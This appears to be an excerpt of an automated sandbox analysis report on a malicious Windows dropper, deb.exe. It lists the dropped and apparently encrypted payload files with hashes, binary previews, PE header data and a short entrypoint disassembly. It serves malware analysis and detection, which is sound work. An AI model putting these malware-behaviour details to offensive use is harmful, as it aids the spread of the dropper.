SHA-256:	5A4EF5678A121AB130FC48E03346B0519CFE6FC5EEEA1B84C769E6674814B580
SHA-512:	EAA12ADC55088DBF330DF6CA887E2E54CC58F8208479F20C125969080F36A8206B0EE1C0E97822D664DB52E7D0E1B2AB67843365962C647197BA1258CE376239
Malicious:	false
Preview:	................................................................................................................................................................................................................r.r.r.r.r...........................r.r.r...................r.r.r.r.r.r.r.....................r.r.................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.............................................................................................................................................................................................................................................r.r.r.r.r.r.r.r.r.r...............................................................................r.r.............................................................................................................................m.m.m...........................

C:\Users\user\AppData\Local\Temp\Francisco

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	63488
Entropy (8bit):	6.686268342928445
Encrypted:	false
SSDEEP:	1536:wEq30BcrTrhCX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M26N7oKzYkP:LnEoXnmowS2u5hVOoQ7t8T6pUkP
MD5:	5A659985D4C0913F85D5FE9813C7888F
SHA1:	90B63406571EFD5BA6177C2645B3D934E6E68F37
SHA-256:	A8FEF5473B89161725C6DC93C44CE9D939245EAA122BF85DAA2629137B2E0B1D
SHA-512:	348B9355A58D4F1E95E0DB919331EEDBD77D00D8A15FE519C4634F8740B1BF58E003A9429F88B90B3EDB3704B714AD2BB2C61D69A688D8233F3555D4D9A1FC00
Malicious:	false
Preview:	..H.I..E...u.......E..p.3.j.Z...........Q.7...Y..WVj..u...H.I..M.3.f..O....3.F.,8S.u.W.b...YPW....I..s$W....YY..t.......3.W....Y....W....Y3.@_^[....V...6..l..j.V.}...YY..^...U..W...O...0.I...t.V.q8Q.......u.^.E..t.j.W.C...YY.._]...U.....U.SV..3.u.W...~....N(.N0.N4f.N<.N.....'....]..........E.........9M.................F.................N.........F.................^..E..N..................z..u.....3..@.Wh4.J.P............j..{...Yj....nL..p..@......F(.`...Yj...HnL..p..F0.L...Yj..`.....mL..p..F,.4.....$TmL.hlmL....mL..p..F4..P...Q.........U.E.M.........E.........U.Rj.P...QD...v(P...Q....F8P.v4..Q.RL...U.Rh..J.P......x..E..v4j...j.P.Q..E.P...Q.j..7..T.I....F.P.....p.j..v(j.j.Q.R,j.^..P...Q8..N..t...u..u.y........j.j.j.S.V...U.Rht.J.P........y........j.j.j.W.0.E..~.WP...Q..M...Q...R...x..M.........@..3.QQQP.0$M......_..^[....U..Vj.......j....mL..@......p........j...,nL..p..F....j....mL..p..F.....M.....p....mL..H..f...F...N..F..^]...V..W3.9~.t.j..v..P...YY.~.9~.t.j..v..<

C:\Users\user\AppData\Local\Temp\Invalid

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	7.997057910589192
Encrypted:	true
SSDEEP:	1536:emxHpvNdCb9MXzIopR1WGnQXGN2vVISY1iLFnNHa7jbrbf:emxHpvNd++XzJNWJWN2vVIeHa7jvb
MD5:	B624EC4EC48AD6EEC4909E7C596A8FFC
SHA1:	0BD162E49D9F63F74166FDAFD0D63428ECCF238A
SHA-256:	8744305A517C819C790092C5981027BC0DD24B6D0206289C9C95F21CD258AA64
SHA-512:	094E442C664934B785F3DC73A2197EBBB24CBC7D0F7D6C6ADEAECE46DA46B86DA027066CE7091E7D7CC1E5C83CF04400AB6880C2931A9F190937C22B873806D2
Malicious:	false
Preview:	.?.z..t.....V..m...........U.....L2..C#\|,pD.f;...{........}.3eD.E..;..L...P......j5...q...tz.#.tA..d...4. .b>.\.\|J...6...Y.`\.U...{.j...O...z.MN..=.8s.....v....3.............a'p.O..b.Y..2..M[z..{..q.;.$yh..... .c...2...c.y...f.....ymv...g.}R..u.....I.,..y".In..t....`...a1.gx.Z.01&@..L<!...$........x..b..s....M..su.I..C.1..?ua"....q.zk..0\|..!...y..9....2.f..^....x....?."u/...Jy.[.J.s..'..5.=...J.}w_(U.V.E....................7.........@...y...c.Tw.1jw.........'.l...MJ...y..h..._...5q........kA.t>....+p.....WT...S_o.5....8.....R+.....9T%bu...A.....Y......L.1.9..c.!..2)..?..f-Qn.......g.H.p.=.ce..J\|.!c.{..c.......BNd..Y..8xU.."..,.m.U.{Ii...p<;.H..-..eoq}c.,.X&v.OZV........#..JU..2..<..n:......... _.S.D....6...}.&"......J.-.g.{.....mw.F./;..".O.."....9..M.."...Z.c.B..@...w..&..8.;..!2(H.....%..z...CO.j..j..fF.......%..&.P.....'....u.g?.[.....Wp."Nw....n.\V..A.3."E..U.k....0.dmO.......2.{Fs...f...4l.+......Z.*..a.+......1s@.

C:\Users\user\AppData\Local\Temp\Investigated

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	125952
Entropy (8bit):	6.637958619688465
Encrypted:	false
SSDEEP:	3072:lPtCZEMnVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnjq:DCOMVIPPL/sZ7HS3zcNPjq
MD5:	78C8BA888589BD9AFDBB5217CB31B8B9
SHA1:	CB188EE03EB14AA2FFBCC107CD41876575D9A3BB
SHA-256:	E52A6FE2900DE3C8F9420DFE7F5180C86AE751BFAD106AD88A2B9E0A2BBE1F94
SHA-512:	1B874C9F16360BC510C97A5847409BF09209ADAF9505692E90AA20F4F6FA5262AEAF8AD574ACEE32C73E0F27F61B035C5F09C4B8D4865D33D612F14037298F42
Malicious:	false
Preview:	L$`.D$..~\|...L$@.,S...D$(.D$,.+$...........j.Z+..........tp...t.3.f..l....$....3.W..................Q.....Y.....9.t.Q.1.I......YY..3.f..j....YW...xH..W.F.....Y_..$.....E.P.....0..l...P.....YY.M..R....$...>..,zL.u..8zL.P..l...P.....YY..#...6..l...h zL.P.P.....#..j...l...P.v..6......#......$$...j&..f;...o&....$....f..i%...%....F...%...V%....$.<....%..j9X....%...E.........L$..........@$.......4$..j1[.,$....t...+....0...f;.u.......u.3......%...E.M....%.......@..j....P...S$..Sh.....u..P4.......&.....O&...}....}...&...E.......&.........&...D.....O .D...D....&...G.;.u..H...'...G,......&....,...&...E.E.j.P...G,.....".......&....+...&......'...A.j..........E..E.........u..F....F....3.E..............Q.......)........c)..S.E...P...;.t.P....Q...M..yP.../'......&..Hj..................C..C.@..u..............3.C...............Q...........C...E....P.3V.............=.A..s........E..E...y.....L.=....s#...CL..}...E.......E..m..}.E..m..K=....s#...CL..}...E.......E..m..}.E..m

C:\Users\user\AppData\Local\Temp\Membrane

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	151552
Entropy (8bit):	5.91839466876771
Encrypted:	false
SSDEEP:	3072:roRC2jfTq8QLeAg0Fuz08XvBNbjaAtsPF:M0JaAOz04phdyt
MD5:	22A5D9AC1ACAC37CB7E34165534E21E6
SHA1:	C4B8D3D7C31BC65E079B15D443C140DEBE6B3F08
SHA-256:	6CC53B11DA34B76750E48984CF489C803CA49F7C6FCEFD59D49AD0B99886279E
SHA-512:	1C022B84FEF269313316E8F632B935F6D348ABDCB940F5ACC9ADC8A7CF6FA7F615DAAA32F72729B132783A4B30637FBBECED744821EDD3BBD672FB414E604E78
Malicious:	false
Preview:	.u..b......8..t......uX.......]...~.;.t........RQ.7VP./..........]..T)M..M.......xP.t.j.j.h.....pP..H.I.............u.......u!......P......Ph.....7..H.I..M..U.......~.;E.u........RQ.7VP....y....].S.6..t.I......d....u..u..7VS.....j..7..\.I......t.j.j.h.....6..H.I..U.M........SV......M..U......2._^[.......I.".I...I...I.*.I.1.I..I.W.I..............................U...L)M..@)M.SV.u.........W.8..t.j...(M..C.....h.u..Gh..._..^[]...U..SVjDj..8@M.S....j.j..\|@M.V..........8@M.D...3.@.d@M.VSf.h@M.3.PPj PPP.u.P....I.^[..t..5\|@M...`.I.]...U..S.].VW.}.j.^.W..U.9.............95d)M.\|~.T)M........tg9Q.ub.........tT.........;.....t........t:...t5...t0j..1.. .I..T)M............@t........u.j..0..T.I..U.C;.d)M.~..].......95d)M........T)M........tj9Q.ue.......t\.......;.....uM...... uDj..1.. .I..T)M.j.......0.. .I..T)M............@t........u.j..0..T.I..U.F;5d)M...x...j.Sh............H.I._^[]...U..QQ.e...M.SVW..;...]...S.E........}.Y...vph..L.S........Y..CP.....YY....h..L.S.E........Y..CQ...

C:\Users\user\AppData\Local\Temp\Namely

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	63488
Entropy (8bit):	7.997227857678396
Encrypted:	true
SSDEEP:	1536:Dgeu8c5+shO+lhUWggm6bSVUpnbP31aBMU0yMG5pPhTUDA3Kf:ceEVO+Zggm4GGwNBMG59Kiw
MD5:	FBD4C6BB9391FB26D20506FD6DC01FFF
SHA1:	F7B98777865A2372EC8F09D8675EE676C7C3318A
SHA-256:	1EC64A1390358734BB02501BF8675885F3CE7CEE3C25AB49678AA6235DE7C13E
SHA-512:	F19A9B6002A24F6EB73492DC1C4DCC995C4B7F59DDACB51A93290671AED2125D8ECE600FB2BD5734216E4F11DDA74437C5E2130B6FE99A5A97AD4A7A29DBAFC1
Malicious:	false
Preview:	.~2.i]J...?..%F.V..../..k.3..t...x5u..s..n.[c.../n..k.....o....W.[......6..z.UP...A....0>......)..):..$.x.6...h[~]....'q^..B......5...ST.Y...<...h.}.Or.7.....4..tQn..e.[..L....O....rF.N'....6....;.0d.Z.8.f+.1Xc....e.h...f..jpr.9....PzGw.`.[.'...%nJ...v8.......W"..].R....P.....$.....VB....<%J".u)....>.b...a.wu..Q^Q.`u....lt.j..B.l..x.~..y....`.W..X...Z.<..^]......Utz..0...p.,$s!I.AG..}z.. p.E......1....V......;.`..&.....6..-.'-k......Y.].U;...!..[-..K.+L=..L..O..Qy4.,...C........k}.`..HZ%.!=.!......K....~q.G.jj....G.L.ol.....$..........OW..Lh...U..c...ghe,..z....UU....?>J....Uv..v;..{.T}p../.?@.,.z..._.'`G.........L..u.VlL...,.....9.q?..iQsj..M.wP..W.)...P.l.W.5..._{Ix........ij...g.2[...g...&..[6...q6...w".d..z.k..j)........g...#m...gD....~.!I..........!...Xo1a[.Bb.Bi.wR.....\|..=~...../.C{w..........~...Y.c....3."H3,.s....b.Z.....[.....:.t...p6..!6=6.J..h.1@..i5..........QI.3.s.s.X+ q....B...^....piY:7.S..}.../A..$Z.<......#...

C:\Users\user\AppData\Local\Temp\Premier

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	94076
Entropy (8bit):	7.997971053760013
Encrypted:	true
SSDEEP:	1536:3nW5R64T7dn8NF0pOfZY8qfSnGtpLeVQRzFzULbWwvoR4vu+OVgPryacbBSDeX9n:XsZ7dn8vZlGzLeV4xzULqwpu++UcbBSQ
MD5:	09654DD2D75795DA9BEF73F6D7C477A0
SHA1:	7A78720C567FB49E810E361EE743418BE00A4D1A
SHA-256:	637A0BDEF2D50E640EE34BEC0ADB6EBF4B6AF779AE9742444490553AA16E16AB
SHA-512:	90E7DFFC5B265286BA3F393D51984311AE727CCDB353BBE7C052630680D9E431C2D9DFC158DE12E1AF34FB91723DC0B3597F08148956152369C9237701C0F5D8
Malicious:	false
Preview:	...Y.Hr.j./.s^0..uCh...BY.f$..0....3.....==...%U.........).C..u.U...:.S&..f..w].d...C.w.Q....o.......;..d[...Y:....s....g.{5a)1>...m...y.$Q....!.b............/....!..m....?w..L..b.}.o..k.g[....M.<#.N.'0J...V#hx..j....s$T/...f..^kZ7.....cG..O69v..@E...pzT.jj...>.W.KL\.........%.'.\|Q...I..BJ\B...N.n.@'..s.c-.2jeW.........I..S.#a...P+j..x".Kn...3..~..../K.,.Oh.1F.Lg.x5uN....>e,O.....&...C..7....4 o:_Dw...Yw.^..X.W!.;..\|I...8U...A$2Ce..O..F.c.dY3.l0..<N.[sM[F....o....Z.l.T.V.1dFab_.....u}&.K.T0...K..\|?.'..#..s....`Cg.p.r...2.p.k.i.C.0.omt.. ^/_'..[...._.e.X..Kv........9.,.tCJ.7.........e....L/..N;8.u....[....d..4....D.W.@..B.i.i{..}...X.....n7....[.?.dY>n;.{....>.........g.i.........,...3.b.y.d..jZ.3-y.oM....{%!.!=.... .j<.QF.~...Y.`.g.?............%...#X6.../<cQTY..o.a...t.{kH.....x6.'B.>.H...5.c.\...y...+F..9e>...rC..R.oQ `w..K,...{..8........j._`.@....D\|..E.1<..O...........I...?u......3 Y7<.(.2.7....K}X .E@?w.T.<l...

C:\Users\user\AppData\Local\Temp\Reminder

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	142336
Entropy (8bit):	6.709299852395781
Encrypted:	false
SSDEEP:	3072:uccBiqXvpgF4qv+32eOyKODOSpQSAU4CE0Imbi8Q:uccB3gBmmLsiS+SAhClbfQ
MD5:	1BF35427A4FB34B46E0EFB391EEE2FB0
SHA1:	8727F3434118B183E33DEB137A5CB2C12A51AB40
SHA-256:	AC647FF0823D3781D6A6492D55DA0C8FA715DCD6EE6739C96AFDC2BC49D27B9B
SHA-512:	8C5C73D1FCE516BA92B23F8C676DA77D80FA8777C75DE44BB6A5C356D7BA31BB86CE63C7067AB03DBDCD2A59B4AFB6CA21CC82AD63D29521F379FA91DA21D7B5
Malicious:	false
Preview:	`.L......U..M..:.}......y..z..e...u.VRQ.].S..........t!...u4j..F.P.s......YYP.v.W.1......F.P.s......YYP.v.W......E......M.d......Y_^[..3.@.e..L....U..} .S.].VW.}.t..u SW.u..H.......E,..u....u.P......u$.6.u..u.W......F.@P.u.W....h.....u(.s..u..u.W.u.......8..t.WP.{..._^[].U...TSVW.}.3.W.u..]..u..]..........E......Y...;G...P....u..>csm........~.........~. ...t..~.!...t..~.".........9^........:...9X........,....p..$....E...@..E.........>csm.u*.~..u$.~. ...t..~.!...t..~."...u.9^............9X.tf......@..E.......u.V.X......YY..uD.}.9...y.....].G.h(.M..L...=............M.C....M.;.\|..H....U..U....U.E..M..}..M..>csm........~.........~. ...t..~.!...t..~.".....j...9_........u P.E.P.E.P......U.....E..E.U.;U........M.k...E.E...@..E.E.9.......;H........x..@..}..}..E.].........F..@.......U.E...M.E...~+.v..1.u..s........u,.E..M.H....E..M....U.E.E..@.E.;E.t0.E...u.E..u$.E...u .u..0.u.W.u..u..u.V.......,.U.M..E..B.U.;U...&...8].t.j.V....YY8].ue..%....=!...rW9_.u..G .....tH

C:\Users\user\AppData\Local\Temp\Stewart

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.997999838769318
Encrypted:	true
SSDEEP:	1536:p2rNsGENka6dHSjxL63/ndJBTV2EM2zqqA3bb/ByP5qOv6GueCWqtea:QnEN/6dyjxLsJBR2EXGb5yP5CeCWg
MD5:	9AD816E284CAA0CEA7D662C974651CD7
SHA1:	BDBAE7579D91333AAE508E17DB924D11C27C83B3
SHA-256:	46B15D3873E7335DF9DAD62A07BCE430E2B8D8EF3F519FF5C91EC951C8058CBA
SHA-512:	8684A48FD1D7DEE1138A67F76ECED2616C81EDA293C0725D8D2DC552FCA289026F834E77509C9715953909019D45AD13CEBEA8E822F397BE9E5D1B53045E73B3
Malicious:	false
Preview:	....l.@......>...<...x<..Y,.!@...y].W..Y..B\.\|...F5.[.....f......KfL...9.#J..?%.`=...8...j...l.]0..hEk.<bM..@.q...;...IQ[_o..jme..S..~\|...q...)..7.~\...J...F.H..L...hqg.<5[rd5...q....G...p. ..FZ).Rp9........%er.\|.vJ$@.......;X9.......p......(...lf.L....c3..I~.....h...&.f.....:..0.$....A....O.l..u...........SQ{.QP.l.o.....K...........,1....c;K...`....#..8.YV...c.NE.@...x]...0....w.l-.0........O1..vw.e.H....h........2+.......1?.q....;.6.@y..x.7...CL..-~..P.7..%.N.'........5>..8=..$...iKhVV.AW.R...9.H..c..Q7o~.....T#.m..,1.q...... t[GH8......H\|.P.............wt..........\|.E&....+8.8"..rF.I.r.S.).8.....W.C..E.K<C.......?"2...?1..t.`.I..f./J.t\6.+B.-.3..N<....g^...\|r./..iY........n$G.,#\|Rz.{+.E...Z]$5.A$....F..W[..:c..Y.....=.L...A..\.",Q.\...#.M.....-.]..H.......W@.^G...in...j...V>.@..RL.L.O......K...i.-....T............K.Y.vYM5..L..E.H^.r....?.v..n(.?..M.bc.x.....p..U.u.T ...H9.d..Q..H.....i09{?.....9.J.Y,.\|c>?.c..T..#Y3.h[#.F.,&..g.

C:\Users\user\AppData\Local\Temp\Transport

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	146432
Entropy (8bit):	6.566033976296429
Encrypted:	false
SSDEEP:	3072:ZJR8CThpmESv+AqVnBypIbv18mLthfhnueoMmOqDoioO5bLezW9FfTut/Dde6u6Z:Z0CThp6vmVnjphfhnvO5bLezWWt/Dd3D
MD5:	2A326DB2D16EC850B130BA3B89A00905
SHA1:	2B9270D781D7ABF1A2C83521F1800AD40D9067B3
SHA-256:	0520EFD0E879F8A9A34D05F1E06D7252865DB2EF26EE98BEA6779D5608180D89
SHA-512:	D788E90D22C6B150766919ED14333C59E681371DDAA8B32DDB7B9C6B170C5BA616A7B77B40F5198D5D6467639A952694429E031DDC15F7AB0A306CAA07DC9408
Malicious:	false
Preview:	..@8.X.V....I..L$H.ko.._^..[..]...U..QS.].VW.E...{..r..C..H..6{....t..E...C..p....T@...F..8.C..0...C@...F....u......Y..u..u.........&..F....._^3.[....U..SV.u.2.~..r..F..H...z....t...F..0....?...N........u..u.......&..F.....^3.[]...U...........d$..SVW..M.h..I..\$.......E..@..0...?...N....D$..A..D$..A..D$..A..L$..D$ ...es...t$..t$.....I..D$...{L.W.D$..N...Y.L$.j.^;.u?..t!.D$.+.........\$.f;.\$.u......u.3...u.jc....f;T$......@..D$...{L.W.D$......Y.L$.;.u?..t!.D$.+.........\$.f;.\$.u......u.3...u.j..,...f;T$......@..D$...{L.W.D$.....Y.L$.;.u/..t!.D$.+.........\$.f;.\$.u_.....u.3..........D$...{L.W.D$..J...Y.L$.;.uL..t!.D$.+.........\$.f;.\$.u!.....u.3...u!j.....f;T$......@.f;T$......@..D$...{L.W.D$......Y.L$.;.u<..t!.D$.+.........\$.f;.\$.u......u.3...u.j..!f;T$......@...{L..L$........t.j.^....\|L..L$..............3.ja_.\$HW.L$....h.\|L..L$.......t$.....I.;.t...cu&...t!h0.I..L$..2....t$.S.?....D$,...YYG..z~..\|$$.\$..........M..7,...O.3.QF..VS.2...d$<..D$4j.VPS.\|$D.

C:\Users\user\AppData\Local\Temp\Understanding

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.99774834665167
Encrypted:	true
SSDEEP:	1536:kpK0VXPIswlaOXklN8yD0CQBxgwrBDCldent3yAEdxpSP388tlhi2nDMw:kbPDdO4eyG1er4iAYxpSPs/sAw
MD5:	464C28CB0D0D1A38EAD3DD487C08B782
SHA1:	8C8F2FE5C34B05E2D353899F3365C3CBD6E7843F
SHA-256:	8779E76010D132C18BCD4BDF9BB14000F738132E2677F71A7DD561AADE6165D4
SHA-512:	5C35AC42E43B8D51C0BE0B0B87E32EEA651D6A493279A2D3F55971FBB38876F21265FFE4CC6AF1CD27E64569AFCAC8120847499FD9944F9DDE6A49C9C8FB7F93
Malicious:	false
Preview:	j.Z...].g.b..........&......7.'.(.....F..K}..:\..~"....l....Su'1V...iKC.z.......(.<.0y.G........K.{....3.S.......5..j..$.-.^.B..t\:....$...q..{.!.......$u......xEw...x..#Nd.<."....\|cz..l.a..........G.6...F..P.\...\...G.5{.A...3C.62..@.{o....$..y&A..'..n.Y.b..&Fx.m.?LI.../...%.....!.....e{..7....C..e..+.. dCb.zv.../..Y..#.>?3.H..\'?.@2.d/c..p..?.E..0d..@%y........#.d.4.<.M.y<..l.N..@\.......n..?.....c....F.....).B.\|...P.{.8@.......{.CxPH.%...<.].j\|........?h.`..G.g..[wC./\|=.X..b2......@..a...W.......E..,.u.LJ.t.4....Lt...]...7>...D...]..0....xP...4..D..".....e.].s.....4...m....S.@8.R..s.p...MIIv.'I2.U.W.......= ..C*...-.....2.(..z.L...@e].o/6..,v..`.o.Zk[.......1...2..D.X.....\.0..,........yQ...S.x..o.).N....b...i....6......m^6......lxd..}.......X..(X....h...._0...&P.1n....X$rsI.....a9. X.CM.]....l....[nI.\.(..&zX..7.l.B..Egg3....Q.......w.wV6s-...p..}....K..T.II..f:5..l.g.bR..L...i.A'..{.-'4:.m.x......D.#../>[.amk....JS....X?.h....

C:\Users\user\AppData\Local\Temp\Universe

Process:	C:\Users\user\AppData\Local\Temp\downloaded_exe.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997187902407482
Encrypted:	true
SSDEEP:	1536:43DbdeLBZXSvoX39KSwHNCxRfFgR6sQoK1f8fhzItRCFIjg6T/KR:4TYZXSSytGSQ8frMRGR
MD5:	0B59FF434694C6CBA87A40F1AD767C99
SHA1:	9224B783BC87CC606588A3A60AD2A9115FD9F9A0
SHA-256:	EACE451165225CC5207C9037BB8999DC7EEF6A36F44DBA42EA1051AF2DB2CEA0
SHA-512:	50926E7FCE4C16BC5C08CE63C65AFB6968BC355426BB4381005D53424A23EBA6CADBE74833B153EC2C33EA44F409BEB10B7C1B4326A4FE8C516F5CC49C4D0E1F
Malicious:	false
Preview:	.......Zb%ME..]!<u'....m.v.9}.s.g.L0.6..2/..?.......s.....b.V......d.,X..;. r`.!$.#z..Sn+...SFr..'.a3..V.y.'_<....%..Z...L....9._..b@..f.\.%`..............................\..p3.I;&.Q..W...iBg._3.,<....M9r.J..{Z.~.lA...A.\|.........=.s'..X.....sTN...o2..nA.1..<>...b.....[.kB]..D.&J.....}.a...j....1...j-}.~.......o.49{.6G..@.t8.u.j..}..5.A...B.:.r...Y.`.........T.^...J....'v...&i.f...V..Q......iZ....R.\|...RC..)t.[.c$..i..Q...Y....Z..SA.@=.v.f.E......0..@a%b..G;.3J..f../s%..8.`h...8............s.LT...K.......V....@w.......+.I......B...).._D.::.5>.Z......}.b..v\.....p...o...P..}.W!.z.t.^..M..1Hx.K...?. c....N....n.}.....i..^.b.6...:....T.Y!..."D%k..T4..-..x.C2....c...4..N.o.ev.'.E..~K....s..2..................Y..d.m.E.N(...0..M3.H.u........:..A...7.I...V.X.n.....x.,.5d....\|L.H/.[Y....HF.y...h.....?s...Cu.G.%....R.~^....6n....!VF.$-;.i&&....].p....0x../n..8%.L...,.^v..d...f...IPI..>P.^.k.v.S....NJ.4..V...(....s..<~...e_.

C:\Users\user\AppData\Local\Temp\downloaded_exe.exe

Process:	C:\Users\user\Desktop\deb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1301562
Entropy (8bit):	7.976745133720472
Encrypted:	false
SSDEEP:	24576:G7PY8tHUPuoV29lyOr7WEM6WosbFVOo33GyGs/7IzAIcUZ2kgXJic:ghtD4A7W6s7/nGyGqEz/cUZyXV
MD5:	22AEFDCE6474D0687748AB51F3DDE0D9
SHA1:	B55A23B4F4D94CB4DB1CCBD1C762E1132E9FBF28
SHA-256:	00F978E0084F97FEEA64023458B25795B3DBD2717CCC2483CF60F6AA712D0556
SHA-512:	13EE29C919B326394970B96B77A856F47C247DFD7372E26ACDFAF688E2D4322D4EB41CB66AC5CF5AF86F78C06525A7B7B468D6C21979D451377894813BAADED9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@.......................................@.................................@.......................R....9...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc...............................@..@.reloc...............4..............@..B................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4695485829967865
Encrypted:	false
SSDEEP:	6144:gzZfpi6ceLPx9skLmb0fYZWSP3aJG8nAgeiJRMMhA2zX4WABluuNqjDH5S:2ZHtYZWOKnMM6bFpoj4
MD5:	15CDDA97532718DA96D184F46803745C
SHA1:	27AA8ABDF136922714F4041CB3C7F0D8BED6FE83
SHA-256:	630F1AC5EED58438589332608CF500C12C8FA36DEE76D79E816C47B439A40E8D
SHA-512:	4A894F2E4A93F4BBBB00CD539FBBB63890FB1700581378EC611A1767511641DC0770AC2E9E62D5E9CC4F3D3A4FAC73A186D6B18B591911EE9CDE4CFCD5BE13A6
Malicious:	false
Preview:	regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm...0.Q..............................................................................................................................................................................................................................................................................................................................................P...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	5.992231140800837
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	deb.exe
File size:	2'844'594 bytes
MD5:	176033d9407c87db1083366f6cc0667d
SHA1:	74b24121584544e7450541885078b56c7fe7a8a5
SHA256:	1676766aa84245f0c139b5c38772af13b24a16140c7e552fee00c21784952ad2
SHA512:	6eaa35b2e13638a542597c2c0d3dce919f22c85c6db09212003603a291d682c787ef5f44184cecd45dd0b81757d693eb3fb93098e45084bf84655ecab6805eeb
SSDEEP:	24576:MsNxurfnY/rT9R7lXjYh1gw+pn/U5vEgobCtDS+Ec0xMki8UsU3AodDqC600J4b:MsNxYfnY/rT9llXT9MKJbuDqC600J4b
TLSH:	42D5F94369DB0DE9DED677B4A1D35335A774FD328B2A1F2B6A08C23129536C4AD1EB00
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....iag..........&....+.......................@.............................`......{`,...`... ............................

File Icon


Icon Hash:	23e3a3abaeb2b8a7

Static PE Info

General

Entrypoint:	0x140001410
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x676169FA [Tue Dec 17 12:09:30 2024 UTC]
TLS Callbacks:	0x4000e1a0, 0x1, 0x4000e180, 0x1, 0x4001c750, 0x1
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	a6eb01b21ed44a83a26ef1be82f4039e

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [000D3255h]
mov dword ptr [eax], 00000000h
call 00007F3390BC884Fh
nop
nop
dec eax
add esp, 28h
ret
nop dword ptr [eax]
jmp 00007F3390BE1320h
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec eax
lea ecx, dword ptr [00000009h]
jmp 00007F3390BC8AA9h
nop dword ptr [eax+00h]
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
push ebx
mov eax, 00002098h
call 00007F3390BD6799h
dec eax
sub esp, eax
dec eax
lea ebp, dword ptr [esp+00000080h]
dec eax
mov dword ptr [ebp+00002030h], ecx
dec eax
mov dword ptr [ebp+00002038h], edx
mov dword ptr [esp+20h], 00000000h
inc ecx
mov ecx, 00000000h
inc ecx
mov eax, 00000000h
mov edx, 00000001h
dec eax
lea eax, dword ptr [000CCB5Bh]
dec eax
mov ecx, eax
dec eax
mov eax, dword ptr [000FC489h]
call eax
dec eax
mov dword ptr [ebp+00002008h], eax
dec eax
cmp dword ptr [ebp+00002008h], 00000000h
jne 00007F3390BC8B06h
dec eax
lea eax, dword ptr [ebp+00001FEEh]
dec eax
mov dword ptr [ebp+00001FF8h], eax
nop
nop
dec eax
lea edx, dword ptr [ebp+00001FEEh]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xfd000	0x140c	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x101000	0x1a2b	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe0000	0xb4cc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x103000	0x1600	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xd2ec0	0x28	.rdata
